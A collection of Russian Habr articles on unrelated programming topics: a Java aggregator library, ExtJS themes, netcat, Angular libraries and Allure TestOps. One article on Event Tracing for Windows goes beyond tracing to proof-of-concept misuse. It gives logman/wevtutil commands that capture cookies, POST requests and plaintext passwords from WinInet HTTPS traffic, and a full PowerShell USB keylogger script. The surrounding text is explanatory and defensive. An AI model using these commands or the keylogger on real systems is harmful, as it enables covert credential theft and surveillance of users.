Все предыдущие примеры рассматривали агрегатор и его строители как черные ящики. В которые как-то попадают данные и из которых рано или поздно появляется требуемый продукт. В реальной жизни иногда хотелось бы иметь небольшое окошко, чтобы можно было присматривать за тем, что происходит внутри. В нашем примере с сумматором, представим, нам хотелось бы знать, достаточно ли велика накопленная сумма. Например, чтобы понять насколько эффективен источник данных. Это может быть довольно актуально, если сборка занимает не мгновения, как в тесте, а, например, одни сутки. Если присмотреться к строителю, он способен произвести результат практически в любой момент. Для этого нет никаких препятствий. А раз так, мы можем попросить конвейер исполнить для нас метод get() строителя и посмотреть что он вернет. Есть синхронный и асинхронный вариант этой команды. Рассмотрим синхронный:
```
var peekValue = summator.command().id(2).peek().join();
System.out.println("Текущее значение суммы для key="+peekValue.key+": "+peekValue.product);
```
И вывод:
```
Текущее значение суммы для key=2: 0.30000000000000004
```
Получение результата не может быть гарантировано. К моменту обработки команды сборка может или еще, или уже не существовать. Неполные данные, в общем случае, могут приводить к самым непредсказуемым ошибкам, которые, как правило, не влияют на дальнейший процесс агрегации.
### Дубликаты и персистенс
Особый механизм контроля за дубликатами предоставляет персистенс. Поскольку поддержка персистенс делегирована произвольной БД имеющей JDBC соединение, можно задействовать такие возможности реляционных (и не только) баз данных как уникальные индексы на определенные поля. Персистенс сохраняет все дополнительные атрибуты сообщения в виде JSON строки, но так же позволяет выделить отдельный атрибут в свою собственную колонку, и установить индекс на нее.
Пример:
```
JdbcPersistence persistence = JdbcPersistenceBuilder
.presetInitializer("sqlite", Integer.class) // на базе SQLITE
.database("summa\_values") // имя базы данных
.autoInit(true) // создать БД и необходимые таблицы и индексы автоматически
.deleteArchiving() // при архивации удалять все записи
.maxBatchSize(1) // Частота работы архиватора для теста должна быть максимальной
.labelConverter(SummaLabel.class) // конвертер в/из строки для бирок
.addField(Integer.class,VALUE\_ID) // Добавляем колонку для хранения параметра VALUE\_ID
.addUniqueFields(VALUE\_ID) // Устанавливаем требование уникальности для VALUE\_ID
.build(); // создать персистенс
persistence.archiveAll(); // для теста начинаем с чистой БД
// Создаем конвейер
AssemblingConveyor summator = new AssemblingConveyor<>();
// оборачиваем конвейер в персистенс
var persistentSummator = persistence.wrapConveyor(summator);
// Устанавливаем имя
persistentSummator.setName("summator");
// Метод создания строителя
persistentSummator.setBuilderSupplier(SummaBuilder::new);
// Обработчик продукта
persistentSummator.resultConsumer(bin->System.out.println("Summa["+bin.key+"] = "+bin.product)).set();
// Обработчик ошибок
persistentSummator.scrapConsumer(bin->System.err.println("Error key="+bin.key+": "+bin.error)).set();
// Добавляем фильтр не пустых значений
persistentSummator.addCartBeforePlacementValidator(CommonValidators.CART\_VALUE\_NOT\_NULL());
// Заканчиваем когда получили бирку DONE
persistentSummator.setReadinessEvaluator(Conveyor.getTesterFor(summator).accepted(DONE));
// Используем загрузчики
var loader = persistentSummator.part().label(ADD\_VALUE);
var done = persistentSummator.part().label(DONE).value(0);
// Данные помеченные VALUE\_ID будут проверены на наличие дубликатов перед сохранением в БД
loader.id(1).value(0.1).addProperty(VALUE\_ID,10001).place();
loader.id(1).value(0.2).addProperty(VALUE\_ID,10002).place();
// Дубликат будет отвергнут до записи в БД установленным уникальным индексом
loader.id(1).value(0.2).addProperty(VALUE\_ID, 10002).place();
loader.id(1).value(0.3).addProperty(VALUE\_ID,10003).place();
// Ждем окончания. Требование уникального VALUE\_ID распространяется на все бирки и диктуется схемой БД
done.id(1).addProperty(VALUE\_ID,10004).place().join();
// Останавливаем конвейер
persistentSummator.stop();
```
Вывод. Дубликат отвергнут БД, сумма посчитана верно:
```
Error key=1: com.aegisql.conveyor.persistence.core.PersistenceException: com.aegisql.conveyor.persistence.core.PersistenceException: Failed executing INSERT INTO PART(ID,LOAD_TYPE,CART_KEY,CART_LABEL,CREATION_TIME,EXPIRATION_TIME,CART_VALUE,CART_PROPERTIES,VALUE_TYPE,PRIORITY,VALUE_ID) VALUES (?,?,?,?,?,?,?,?,?,?,?); [SQLITE_CONSTRAINT_UNIQUE] A UNIQUE constraint failed (UNIQUE constraint failed: PART.VALUE_ID)
Summa[1] = 0.6000000000000001
```
### Что дальше?
Поскольку данная статья не является заменой руководства пользователя, а служит для иллюстрации обсуждаемого в первой части шаблона агрегатора и его проблем, за рамками данной статьи остались многие возможности RACE по конфигурированию и использованию конвейеров, загрузчиков, персистенс. Не затронуты вопросы масштабирования и администрирования систем использующих RACE. Обратитесь к документации и примерам на сайте проекта, или свяжитесь с автором. | https://habr.com/ru/post/689914/ | null | ru | null |
# Создание уникальных тем для приложений ExtJS 6
Добрый день, в данной статье я расскажу про основные нюансы создания тем для ваших приложений на ExtJS 6. Данная статья предполагает, что вы уже имеете опыт работы с ExtJS. В качестве примера будет использоваться **modern toolkit**, для **classic toolkit** особых различий нет. В данной статье рассмотрены следующие вопросы:
* 1. Наследование и создание темы
* 2. Подходы к созданию дизайна
* 3. Применение UI mixins
Добро пожаловать под кат.
Введение: Создание тестового приложения
========================================
Для того чтобы сгенерировать наше тестовое приложение c использованием только **modern toolkit**, воспользуемся командой:
```
sencha -sdk "\path\to\framework" generate app -modern TestApp "\path\to\application"
```
1. Наследование и создание темы
================================
При создании своей темы ExtJS позволяет наследоваться от любой существующей темы. Необходимо сразу определиться, что вам необходимо реализовывать какие то вещи самим с нуля, или же взять часть оформления от другой темы. На текущий момент в последней доступной версии ExtJS 6.0.1 (в **modern toolkit**) существуют 8 различных тем. Иерархия между ними выглядит следующим образом.
Для **classic toolkit** существуют 8 основых тем (также существуют модифицированные под touch события, например theme-neptune-touch, на диаграмме они не указаны).
Для того, чтобы посмотреть на сколько вам подходит та или иная тема, её можно задать в app.json и посмотреть, используя sencha app watch. Так же следует помнить, что в некоторых темах могут быть не реализованы стили для отдельных контролов (например, в theme-mountainview не реализован tooglefield), так что смотрите и оценивайте родителя внимательно.
Для создания вашей темы, где родителем будет выступать тема theme-triton, воспользуйтесь командой:
```
sencha generate theme --extend theme-triton my-test-theme
```
После этого ваша тема **my-test-theme** будет располагаться в папке “packages/local/”. Рассмотрим структуру папок темы:
**package.json** — Основной файл описывающий тему, там указываются все свойства темы: родитель, имя, версия и её зависимости.
**sass** — В этой папке содержаться только sass файлы, внутри неё вы увидете следующие папки: **var** для создания переменных, **src** для создания миксинов, **etc** для создания пользовательских миксинов и дополнительной функциональности.
**resources** — В этой папке должны храниться только статичные ресурсы, например картинки и css.
**overrides** — В этой папке хранятся js файлы, для создания дополнительной функциональности к уже существующим контролам.
2. Подходы к созданию дизайна
==============================
После создания вашей темы можно выбрать, как именно вы будете реализовывать дизайн. Есть два пути создания дизайна: правильный и ~~против лома нет приёма~~ и не очень:
* **Style overrides** — предполагает то, что вы будете переопределять стили ExtJS в ваших css файлах (используя !important). Данный метод может использоваться, если вы не хотите связываться с sass, и проект не очень большой. Отрицательной стороной данного метода является создание избыточного css кода.
* **UI mixins** — true way, позволяет реализовывать произвольный стиль для каждого контрола, без последствий для него. Штатный механизм ExtJS требует понимания sass.
3. Применение UI mixins
=======================
После создания темы рекомендуется задать глобальные переменные для sass, это сильно облегчит вам жизнь в дальнейшем. Со списком переменных можно ознакомиться [тут](https://docs.sencha.com/extjs/6.0/6.0.1-modern/#!/api/Global_CSS). Для задания глобальных переменных необходимо создать файл “packages/local/my-test-theme/sass/var/Component.scss”, а там указать, например:
```
$base-color : #317040;
```
После этого можно посмотреть результат (до и после).
Настоятельно рекомендуется задать $base-color, и работать только с ним, варьировать цвета с помощью миксинов (функций sass). Практически каждый контрол в ExtJS имеет свои CSS mixins. Рассмотрим применение миксинов на примере Button. Для этого создадим файл “my-test-theme/sass/src/Button.scss” со следующим содержанием:
```
@include button-ui(
$ui: 'lighten',
$ui-button-color: lighten($base-color,20) // светлее на 20% основного цвета
);
@include button-ui(
$ui: 'darken',
$ui-button-color: darken($base-color,20) // темнее на 20% основного цвета
);
```
Теперь мы можем добавить кнопки c нужным нам UI миксином.
```
{
xtype: 'button',
ui: 'lighten',
text: 'lighten button'
},{
xtype: 'button',
ui: 'darken',
text: 'darken button'
}, {
xtype: 'button',
text: 'original button'
}
```
Результат будет следующим:
Таким образом с помощью UI миксинов можно безнаказанно декорировать любой контрол. | https://habr.com/ru/post/271897/ | null | ru | null |
# Event Tracing for Windows на стороне зла. Но это не точно
В предыдущих статьях про [сниффер на PowerShell](https://habr.com/company/pc-administrator/blog/333838/) и [сбор данных о загрузке с удаленного сервера](https://habr.com/company/pc-administrator/blog/336604/) я уже немного писал про возможности ETW (Event Tracing for Windows). Сегодня я хочу подробнее рассказать про эту технологию.
Заодно покажу на примере разбора HTTPS и создания кейлоггера на PowerShell, как ее можно использовать во благо. Или не совсем во благо.
Работа с ETW
============
Event Tracing for Windows собирает и передает сообщения от системных компонентов Windows и сторонних приложений. Появился он еще во времена Windows 2000, но если в те времена системных провайдеров было несколько десятков, то сейчас их счет идет уже на сотни. Сообщения удобно использовать для диагностики ошибок и решения проблем с производительностью софта.
Часть системных провайдеров по умолчанию уже пишет в журнал событий Windows, а часть включается отдельно. Так что даже если вы не знаете про ETW, наверняка им пользуетесь. Познакомиться с журналами и включить часть из них при необходимости можно в стандартном просмотре событий в журналах приложений и служб. Немного о журнале и о работе с ним можно почитать в статье «[Вертим логи как хотим ― анализ журналов в системах Windows](https://habr.com/company/pc-administrator/blog/351594/)».
**Посмотреть список существующих провайдеров**, которые только и рады поведать нам, что с ними происходит, можно командой **logman query providers**.
*Провайдеры ETW.*
Посмотреть список провайдеров, которые подключены к определенному процессу Windows (а значит, и узнать что-то про него), можно при помощи команды **logman query providers -pid .**
*Список провайдеров, подключенных к обычному блокноту.*
**Подписку на события** определенного провайдера или на трассировку можно включить через PowerShell при помощи командлета **New-NetEventSession**. А можно и вовсе накликать мышкой по пути «Управление компьютером» — «Производительность» — «Группы сборщиков данных». Здесь в сеансах отслеживания событий видно, какие трассировки запущены, и при желании можно создать свой сборщик.
*Запущенные трассировки.*
**Просматривать результат** можно при помощи утилит и наборов утилит типа [Microsoft Message Analyzer](https://www.microsoft.com/en-us/download/details.aspx?id=44226), [Windows Performance Toolkit](https://docs.microsoft.com/en-us/windows-hardware/test/wpt/) или вовсе командлетом PowerShell **Get-WinEvent**.
С особенностями работы ETW я рекомендую ознакомиться в документации Microsoft, начать можно с раздела [About Event Tracing](https://docs.microsoft.com/en-us/windows/desktop/etw/about-event-tracing). Также могу порекомендовать неплохой материал «[Изучаем ETW и извлекаем профиты](https://kaimi.io/2017/03/etw-event-tracing-for-windows/)».
Поскольку ETW работает на уровне ядра, то его отличает скорость передачи сообщений и отсутствие необходимости устанавливать какие-либо драйверы или инжекты в приложения. Обычно ETW используют для диагностики производительности и проблем с приложениями. Например, в статье «[Ускорение загрузки Windows for fun and profit](https://habr.com/post/106684/)» анализируются факторы, влияющие на замедление загрузки, а в материале [24-core CPU and I can’t move my mouse](https://randomascii.wordpress.com/2017/07/09/24-core-cpu-and-i-cant-move-my-mouse/) — причины торможения Windows на рядовых операциях. Приведу пример — анализ запуска командлетов PowerShell.
Следим за PowerShell
====================
Предположим, что вы каким-то образом (например, через аудит запуска процессов) обнаружили, что на компьютере запускаются невнятные процессы и скрипты PowerShell. Одной из методик будет использование ETW для анализа их активности. Например, посмотрим на провайдера PowerShell. Включим трассировку командой:
```
logman start pstrace -p Microsoft-Windows-PowerShell -o c:\temp\pstrace.etl -ets
```
Теперь подождем, пока непонятные скрипты отработают, остановим трассировку командой:
```
logman stop pstrace -ets
```
Теперь можно посмотреть трассировку, например, через Microsoft Message Analyzer.
*Подозрительный clean.ps1 явно что-то ищет и удаляет.*
Если выбрать нужную строку, то в нижней панели будет расширенная информация о событии.
*А, это же скрипт для [очистки](https://habr.com/company/pc-administrator/blog/320852/) кэша 1С!*
В этот раз все оказалось банально. Но в более сложных случаях можно запустить трассировку и для проверки других активностей:
* сетевая активность;
* разрешение DNS;
* обращение к диску;
* работа с памятью;
* активность WMI;
* и многое другое.
Таким образом, ETW может помочь поймать зловреда и разобраться в работе приложений. Местами это информативнее, чем привычный [Process Monitor](https://technet.microsoft.com/ru-ru/sysinternals/processmonitor.aspx). Но помимо дел добрых, у механизма есть и «темная» сторона.
> Разумеется, и молотком можно убить, и ружьем спасти. Моральную оценку механизмов делать я, конечно же, не буду, но в любом случае возможности открываются интересные.
Приведу пару примеров в качестве Proof-of-Concept
S — значит бееезопасно
======================
В этом примере я покажу, как легко узнать, что же ищет пользователь в интернете, даже по HTTPS. Посмотреть можно и без PowerShell — только мышка, только хардкор. В нашей задаче будет пользователь, будет Windows, Internet Explorer и журнал событий.
Начнем с того, что включим журнал событий Wininet. Делается это так: открываем журнал событий, на вкладке «Вид» включаем отображение аналитических и отладочных журналов.
*Добавляем отображение нужных журналов.*
После этого включаем UsageLog в контекстном меню, и этого достаточно для получения нужной информации. Попользуемся IE и посмотрим лог:
*Журнал WinInet.*
Собственно, в журнале видны заголовки и непосредственный запрос в поисковую систему.
Помимо заголовков при помощи журнала можно вытащить и cookie, а заодно посмотреть POST-запросы — например, для вытаскивания учетных данных. Методика работает на любых приложениях, использующих wininet.dll для работы с интернетом. К примеру, браузер Edge.
То же самое запросто реализуется и на PowerShell, и даже на cmd. Приведу пример реализации последним.
Для начала создадим трассировку:
```
logman start CookieStealer -p Microsoft-Windows-WinInet -o c:\temp\cookiesteal.etl -ets
```
Теперь поработаем в браузере, проверим почту. Трассировку можно после этого остановить командой:
```
logman stop CookieStealer -ets
```
Простейший анализ можно провести при помощи командной утилиты **wevtutil.exe**. Например, для просмотра POST-запросов команда будет такой:
```
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
```
Можно даже наудачу попробовать поискать по слову *password* и получить результат.
*Пароли открытым текстом. Очень напрягает.*
Стоит отметить, что антивирус при этом молчал. Действительно, ведь это обычный процесс трассировки.
Разумеется, события WinInet можно использовать и для диагностики неполадок вроде «почему этот сайт не открывается и что вообще происходит». Но тем не менее, возможности довольно интересны. Перейду к еще более закрученному примеру.
Кейлоггер на PowerShell. Потому что могу.
=========================================
В Windows есть два интересных провайдера ETW:
* **Microsoft-Windows-USB-UCX** (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) — работает с USB 2.0.
* **Microsoft-Windows-USB-USBPORT** (C88A4EF5-D048-4013-9408-E04B7DB2814A) — работает с USB 3.0.
С их помощью можно получить данные HID, которые передает такое устройство USB, как клавиатура или мышь. Данные захватываются в сыром виде, но благодаря [спецификации](http://www.usb.org/developers/hidpage/Hut1_12v2.pdf) HID их вполне можно привести к читаемому виду.
Для начала трассировки достаточно выполнить следующие команды:
```
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
```
А данные можно получить командлетом PowerShell:
```
$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}
```
Приведу пример простого скрипта, который читает данные трассировки и преображает их в читаемые значения. Преобразование делается только для английских букв и исключительно в заглавные.
**Полный листинг скрипта под спойлером.**
```
$source = "C:\temp\trace.etl"
$destination= "C:\temp\Output.txt"
$tracetime = "10"
logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets
sleep $TraceTime
logman stop usbtrace -ets
$Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"}
$HID = Foreach ($I in $Input) {(‘{0:x}’ -f ($I.properties.value[5]))}
$Data=switch ($HID)
{
4 {"A"}
5 {"B"}
6 {"C"}
7 {"D"}
8 {"E"}
9 {"F"}
A {"G"}
B {"H"}
C {"I"}
D {"J"}
E {"K"}
F {"L"}
10 {"M"}
11 {"N"}
12 {"O"}
13 {"P"}
14 {"Q"}
15 {"R"}
16 {"S"}
17 {"T"}
18 {"U"}
19 {"V"}
1A {"W"}
1B {"X"}
1C {"Y"}
1D {"Z"}
}
$Data | out-file "$Destination"
get-content "$Destination"
del "$source"
del "$Destination"
```
При запуске скрипт включает трассировку на 10 секунд, затем показывает результат.
*Результат работы скрипта.*
Конечно же, разобравшись с данными HID, можно доработать скрипт до полноценного кейлоггера, который записывал бы данные с клавиатуры и мыши. Стоит отметить и ограничения этого механизма:
* работает только с USB, а PS\2 (как порой встречается в ноутбуках) не поддерживается;
* поддержка USB 3.0 заявлена только в Windows 8 и выше;
* требуются права администратора (UAC).
Зато никаких драйверов и перехватчиков. Ну, и конечно, помимо зловредного использования такой кейлоггер может помочь в диагностике проблем с клавиатурой. Теоретически.
Нужно ли бояться
================
Даже встроенные механизмы в руках злодея могут натворить бед. Методы защиты остаются те же самые: блокировать исполняемые файлы не из системных каталогов, не работать под пользователем с правами администратора, а если и работать — то хотя бы не отключать UAC. И, конечно же, встроенные браузеры Windows по части безопасности вызывают вопросы. | https://habr.com/ru/post/418787/ | null | ru | null |
# Передача файлов между двумя компьютерами по интернету (netcat)
Простая и очень нужная утилита, способная передавать данные по сети.
netcat (или nc) должна быть в любом дистрибутиве. Если же ее нету, то на примере дебиана ставится она так:
`apt-get install netcat`
Идея netcat очень проста: он просто перенаправляет поток данных в порт сетевого устройства, а на другом конце поток перенаправляется в файл.
использовать ее так:
**на стороне сервера**
`nc -l -p 3333 > file.txt`
**на стороне клиента:**
`cat file.txt | nc -q 0 3333`
Ключ -q 0 нужен для того, что бы netcat завершил работу сразу после отправки
можно отправлять файлы предварительно запаковав их:
**на стороне сервера**
`nc -l -p 3333 | tar xv`
**на стороне клиента:**
`tar cv * | nc -q 0 3333` | https://habr.com/ru/post/56049/ | null | ru | null |
# Angular: создание и публикация библиотеки
### Начнем с начала
Если мне не изменяет память, то с версии 6 в angular появилась возможность создавать в одном workspace проекты разных типов: application и library.
До этого момента люди, которые хотели создать библиотеку компонент, скорее всего, пользовались отличным и полезным пакетом ng-packagr, который помогал создавать пакет в принятом для angular формате. Собственно, предыдущую библиотеку я создавал при помощи этого инструмента. Теперь команда angular включила ng-packagr в angular-cli и добавила schematics для создания и сборки библиотек, расширила формат angular.json и добавила еще несколько приятностей. Давайте теперь пройдем путь от ng new до npm install — от создания пустой библиотеки до ее публикации и импорта в сторонний проект.
Workspace создается как обычно
```
ng new test-app
```
Будет создан workspace и проект приложения, заглянем в angular.json
```
{
...
"projects": {
"test-app": {
...
"sourceRoot": "src",
"projectType": "application",
"prefix": "app"
...
}
...
}
...
}
```
Теперь добавим проект библиотеки
```
ng generate library test-lib --prefix=tl
```
ключ --prefix добавим, чтобы указать, что у компонент и директив будет использоваться префикс tl, то есть тэги компонент будут иметь вид
Посмотрим теперь в angular.json, у нас добавился новый проект
```
{
...
"projects": {
"test-app": {
"root": "",
"sourceRoot": "src",
"projectType": "application",
"prefix": "app"
...
},
...
"test-lib": {
"root": "projects/test-lib",
"sourceRoot": "projects/test-lib/src",
"projectType": "library",
"prefix": "tl"
}
...
}
...
}
```
В директории проекта появилась следующая структура
```
- projects
- test-lib
ng-package.json
package.json
- src
public-api.ts
- lib
test-lib.component.ts
test-lib.module.ts
test-lib.service.ts
```
Также, в tsconfig.json есть добавление в секции paths
```
"paths": {
"test-lib": [
"dist/test-lib"
],
"test-lib/*": [
"dist/test-lib/*"
]
}
```
теперь, если запустить приложение,
```
ng serve
```
то мы увидим стандартный работающий шаблон приложения angular
#### Создание функционала библиотеки
Давайте создадим библиотеку с сервисом, директивой и компонентом. Сервис и директиву разместим в разных модулях. Переместимся в директорию projects/test-lib/src/lib и удалим test-lib.\*.ts, также удалим содержимое projects/test-lib/src/public-api.ts.
Переместимся в projects/test-lib/src/lib и создадим модули, директиву, сервис и компонент
```
ng g module list
ng g module border
ng g service list
/*переходим в list*/
ng g component list
/*переходим в border*/
ng g directive border
```
Наполним компонент, сервис и директиву логикой. Компонент будет отображать поданный на вход список строк. Директива — добавлять красную рамку, сервис будет каждую секунду добавлять в Observable текущий timestamp.
Сервис
```
/*list.service.ts*/
import {Injectable} from '@angular/core';
import {Observable, Subject} from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class ListService {
timer: any;
private list$: Subject = new Subject();
list: Observable = this.list$.asObservable();
constructor() {
this.timer = setInterval(this.nextItem.bind(this), 1000);
}
nextItem() {
const now = new Date();
const currentTime = now.getTime().toString();
this.list$.next(currentTime);
}
}
```
Компонент список и модуль
```
/*list.module.ts*/
import {NgModule} from '@angular/core';
import {CommonModule} from '@angular/common';
import {ListComponent} from './list/list.component';
@NgModule({
declarations: [
ListComponent
],
exports: [
ListComponent
],
imports: [
CommonModule
]
})
export class ListModule {
}
/*list.component.ts*/
@Component({
selector: 'tl-list',
template: `
* {{item}}
`,
styleUrls: ['./list.component.css'],
changeDetection: ChangeDetectionStrategy.OnPush
})
export class ListComponent implements OnInit {
@Input() list: string[];
constructor() {
}
ngOnInit() {
}
}
```
Рамка
```
/*border.module.ts*/
import {NgModule} from '@angular/core';
import {CommonModule} from '@angular/common';
import {BorderDirective} from './border.directive';
@NgModule({
declarations: [
BorderDirective
],
exports: [
BorderDirective
],
imports: [
CommonModule
]
})
export class BorderModule {
}
/*border.directive.ts*/
import {Directive, ElementRef, OnInit} from '@angular/core';
@Directive({
selector: '[tlBorder]'
})
export class BorderDirective implements OnInit {
private element$: HTMLElement;
constructor(private elementRef$: ElementRef) {
this.element$ = elementRef$.nativeElement;
}
ngOnInit() {
this.element$.style.border = 'solid 1px red';
}
}
```
! Важно. При генерации компонент и библиотек cli не создает export, так что в модулях обязательно добавьте в секции exports те компоненты и директивы, которые должны быть доступны.
Далее, чтобы в будущем классы из библиотеки были доступны, добавим немного кода в public-api.ts
```
export * from './lib/list.service';
export * from './lib/border/border.module';
export * from './lib/border/border.directive';
export * from './lib/list/list.module';
export * from './lib/list/list/list.component';
```
#### Подключение библиотеки в тестовом приложении
Соберем проект библиотеки
```
ng build test-lib --watch
```
Далее в app.module заимпортим модули с компонентом и директивой и добавим логику
```
/*app.module.ts*/
import {BrowserModule} from '@angular/platform-browser';
import {NgModule} from '@angular/core';
import {AppRoutingModule} from './app-routing.module';
import {AppComponent} from './app.component';
import {ListModule} from 'test-lib';
import {BorderModule} from 'test-lib';
/*!!!Обратите внимание, импортим по названию пакета, а не по пути файла*/
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
AppRoutingModule,
ListModule,
BorderModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule {
}
```
И используем штуки из нашей библиотеки в приложении
```
import {Component, OnInit} from '@angular/core';
import {ListService} from 'test-lib';
@Component({
selector: 'app-root',
template: `
I am bordered now`,
styleUrls: ['./app.component.styl']
})
export class AppComponent implements OnInit {
list: string[] = [];
constructor(private svc$: ListService) {
}
ngOnInit() {
this.svc$.list.subscribe((value => this.list = [...this.list, value]));
}
}
```
Запустим и проверим приложение, все работает:
#### Сборка и публикация
Осталось собрать и опубликовать пакет. Для сборки и публикации удобно добавить команды в scripts в package.json приложения
```
{
"name": "test-app",
"version": "0.0.1",
"scripts": {
...
"lib:build": "ng build test-lib",
"lib:watch": "ng build test-lib --watch",
"lib:publish": "npm run lib:build && cd dist/test-lib && npm pack && npm publish",
...
}
}
```
Библиотека собрана, опубликована, теперь после установки в любом ином angular проекте
```
npm install test-lib
```
можно использовать компоненты и директивы.
#### Небольшое примечание
У нас в компании есть целое семейство npm пакетов, поэтому в нашем случае пакет должен публиковаться с namespace как [company](https://habr.com/ru/users/company/)/test-lib. Для этого сделаем всего несколько правок.
В package.json библиотеки переименуем пакет
```
/* projects/test-lib/package.json */
{
"name": "@company/test-lib",
"version": "0.0.1",
"peerDependencies": {
"@angular/common": "^7.2.0",
"@angular/core": "^7.2.0"
}
}
```
И чтобы в тестовом приложении библиотека была доступна по названию с namespace немного поправим tsconfig
```
/* test-app/tsconfig.json */
***
"paths": {
"@company/test-lib": [
"dist/test-lib"
],
"@company/test-lib/*": [
"dist/test-lib/*"
]
}
***
```
И в тестовом приложении заменить импорты, например
```
import {ListModule} from 'test-lib';
```
Заменим на
```
import {ListModule} from '@company/test-lib';
```
На этом закончим.
**P.S.:** При изучении данной темы я в свое время читал следующие статьи
[The Angular Library Series](https://blog.angularindepth.com/creating-a-library-in-angular-6-87799552e7e5)
[How to built npm ready component library with Angular](https://codeburst.io/how-to-built-npm-ready-component-library-with-angular-a812a22dc1d5) | https://habr.com/ru/post/452262/ | null | ru | null |
# Как мы внедряли Allure TestOps в стриминговом сервисе
Всем привет! Меня зовут Иван Чечиков, я QA lead в МТС Digital, работаю над проектом стримингового сервиса [WASD.TV](http://wasd.tv/). В этой статье я поделюсь опытом внедрения системы управления тестированием (TMS) Allure TestOps в наш проект и расскажу, что из этого получилось. А еще отмечу подводные камни, с которыми мы столкнулись и обозначу пути их обхода. Статья может быть полезна тем, кто задумываются о переходе на данную TMS с других готовых решений, таких так Zephyr, TestRail, Test IT.
**Allure TestOps** – это коробочное решение, позволяющее управлять как ручным, так и автоматизированным тестированием: создавать тест-кейсы и чек-листы, запускать ручные и автоматические прогоны, заводить дефекты и собирать статистику по проделанной работе. Также у Allure большой набор интеграций с различными инструментами и языками программирования.
В нашем проекте для QA мы используем Jira Server, Confluence, Jenkins CI/CD, автотесты на Java + Maven + Cucumber + Gherkin + Serenity RestAssured (для API тестов) и Selenium (для UI тестов). Как основную TMS применяли плагин Zephyr для Jira, но нам предстоял переезд на Allure Test Ops. Что делать в таком случае?
1. Нужно настроить интеграцию с Jira Server и Allure TestOps.
2. Нужно перенести существующие тестовые артефакты из надстройки Zephyr в Jira в Allure TestOps и уйти в дальнейшем от Zephyr.
3. Нужно настроить запуск автотестов в Allure TestOps, подружив его с нашей джобой в Jenkins CI/CD и получать результаты прогонов. На данный момент мы работаем с Gitlab CI/CD, но опыт с Jenkins был также уникален для нас.
4. Объединить ручные и автотесты в один проект в Allure TestOps.
5. Написать инструкции для QA-инженеров по использованию Allure Test Ops
6. Начать работать в Allure TestOps.
7. Собрать первые метрики по проделанной работе.
Разберем каждый этап подробно:
**Интеграция с Jira Server или Jira Cloud –** дело несложное, выполняется как на стороне Allure, так и на стороне Jira. Создаем интеграцию с Jira в Allure TestOps, указываем креды и эндпоинт Jira Server.
#### Allure TestOps
В Jira в панели Администратора необходимо установить плагин **Allure TestOps for JIRA**
Указываем эндпоинты Allure Test Ops, выбираем версию 4.x.x и проставляем id интеграции Jira в Allure. Ссылка на официальный [мануал](https://docs.qameta.io/allure-testops/integrations/issue-trackers/jira/server/).
#### Jira Server
Единственное замечание – желательно иметь актуальную версию Jira не ниже 8.4 (Jira Server) и Allure TestOps не ниже 4.2.2, иначе интеграция может быть неполноценной, у нас, к примеру, не отображались прогоны с Allure в Jira.
**Результаты интеграции:** отображение прогонов и тестовой документации из Allure в Jira.
**Кейсы из плагина Zephyr в Jira мы переносили** через скрипт Qameta, для нас его существование было неочевидным, поэтому пришлось писать в поддержку. [Скрипт](https://qameta.notion.site/3P-TMS-Migration-script-e3b8373fb8764ab5834cbd8344708970) лежит на сайте у разработчиков, миграцию мы делали на удаленной машине, имеющей доступы к эндпоинтам Allure и Jira. Вызывали скрипт, передавая [json](https://qameta.notion.site/Zephyr-Scale-TM4J-for-Jira-Server-migration-5af76ef62b324e26942d5305c44d7d01) в виде конфига.
```
java -jar allure-testops-migration-2.9.5.jar config
```
Проблем с миграцией не было. Все наши 2000 с лишним кейсов мигрировали в Test Cases Allure TestOps, все поля тестовых артефактов были перенесены.
**Интеграция с Jenkins CI/CD** заняла значительное количество времени. Проблемы были как с самой джобой дженкинса, так и с конфигурацией кода проекта. Подружить Jenkins и Allure TestOps на уровне интеграции не так сложно.
В Jenkins CI/CD в разделе плагинов устанавливаем плагин **Allure TestOps for Jenkins** последней версии. Это важно, так как может не произойти выгрузка результатов автотестов в Allure TestOps.
#### Jenkins
В настройках системы в Jenkins указываем эндпоинт Allure TestOps и админские креды.
В Allure Test Ops прописываем эндпоинт Jenkins.
У нас автотесты на Java с использованием Maven, Cucumber, Gherkin, Serenity и Selenium. Для получения результатов в Allure с прогонов автотестов пришлось править конфигурационный файл pom.xml. Я добавил зависимости:
**pom.xml**
```
......
io.qameta.allure
allure-junit4-aspect
2.0-BETA15
io.qameta.allure
allure-rest-assured
2.18.1
io.qameta.allure
allure-cucumber5-jvm
2.18.0
......
org.apache.maven.plugins
maven-surefire-plugin
3.0.0-M4
3
true
-Xmx1024m -XX:MaxPermSize=256m
true
\*\*/\*${type.of.suite}.java
${webdriver.base.url}
${project.build.directory}/allure-results
classes
${parallel.tests}
${parallel.tests}
org.aspectj
aspectjweaver
1.7.4
test
```
Чтобы все это добро заработало в Cucumber – пришлось прописывать плагины для API и Ui-классов.
**ApiCucumberTestSuite.java**
```
package starter.runner.api;
import io.cucumber.junit.Cucumber;
import io.cucumber.junit.CucumberOptions;
import org.junit.runner.RunWith;
@RunWith(Cucumber.class)
@CucumberOptions(
plugin = {"io.qameta.allure.cucumber5jvm.AllureCucumber5Jvm"},
features = "src/test/resources/features/api/",
glue = {"starter"}
)
public class ApiCucumberTestSuite {}
```
**UiCucumberTestSuite.java**
```
package starter.runner.ui;
import io.cucumber.junit.Cucumber;
import io.cucumber.junit.CucumberOptions;
import org.junit.runner.RunWith;
@RunWith(Cucumber.class)
@CucumberOptions(
plugin = {"io.qameta.allure.cucumber5jvm.AllureCucumber5Jvm"},
features = "src/test/resources/features/ui/",
glue = {"starter"}
)
public class UiCucumberTestSuite {}
```
Для определения типов тестов добавил аннотации **allure.label.layer** в features файлы.
**authorizationApi.feature**
```
@auth @api @all @smoke @allure.label.layer=Api
Функция: Авторизация
Пользователь делает авторизацию через API
@positive @api
Структура сценария: успешная авторизация
Когда делает авторизацию через API
Тогда пользователь получает access token
Примеры:
| User |
| user1 |
```
**authorizationUi.feature**
```
@auth @ui @all @allure.label.layer=Ui
Функция: Авторизация
Пользователь авторизуется
@positive @ui
Структура сценария: успешная авторизация
Дано пользователь переходит на главную страницу
